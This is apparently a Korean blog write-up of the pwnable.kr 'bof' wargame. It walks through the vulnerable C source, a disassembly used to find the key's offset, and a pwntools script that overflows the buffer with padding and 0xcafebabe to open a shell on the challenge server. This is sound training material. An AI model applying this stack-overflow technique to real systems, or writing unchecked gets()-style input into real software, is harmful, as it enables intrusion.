pwnable.kr의 bof 문제이다.
bof 문제는 전의 문제들과는 다르게 바이너리와 소스코드를 주는 형태였다(이게 정상이지 ㅎㅎ). 그렇다면 문제 코드를 살펴보도록 하겠다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
문제 제목도 그렇고 형태도 그렇고 bof를 일으켜서 key 값을 변조하라는 문제라는게 눈에 한번에 들어왔다. 그렇다면 디버깅을 해보면서 key값이 어디에 위치하는지 알아보도록 하겠다.
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7df6260 <__GI__IO_puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7df58b0 <_IO_gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7dcb150 <__libc_system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7df6260 <__GI__IO_puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7eb6930 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
위는 func 함수를 디스어셈블한 코드이다. 보면 key 값의 위치는 ebp+8의 위치에 있어서 ebp+8의 위치에 있는 값과 0xcafebabe와 비교한다는 것을 알 수 있었다. gets 함수를 통해서 버퍼에 값을 받을 때 버퍼의 위치는 ebp-0x2c이므로 더미 값을 0x2c + 0x8만큼을 채운 뒤에 리들엔디언 방식으로 0xcafebabe를 넣어주면 쉘을 획득할 수 있다.
아래는 위의 내용을 반영한 최종 익스플로잇 코드이다.
from pwn import *
#p = process("./bof")
p = remote("pwnable.kr", 9000)
e = ELF("./bof")
#context.log_level = 'debug'
#gdb.attach(p)
payload = b'a'*0x2c
payload += b'A'*8
payload += b'\xbe\xba\xfe\xca'
p.send(payload)
p.interactive()
위의 코드를 실행하면 flag를 얻을 수 있다.
'Write Up > pwnable.kr' 카테고리의 다른 글
collision - pwnable.kr (1) | 2023.07.03 |
---|---|
fd - pwnable.kr (0) | 2023.07.03 |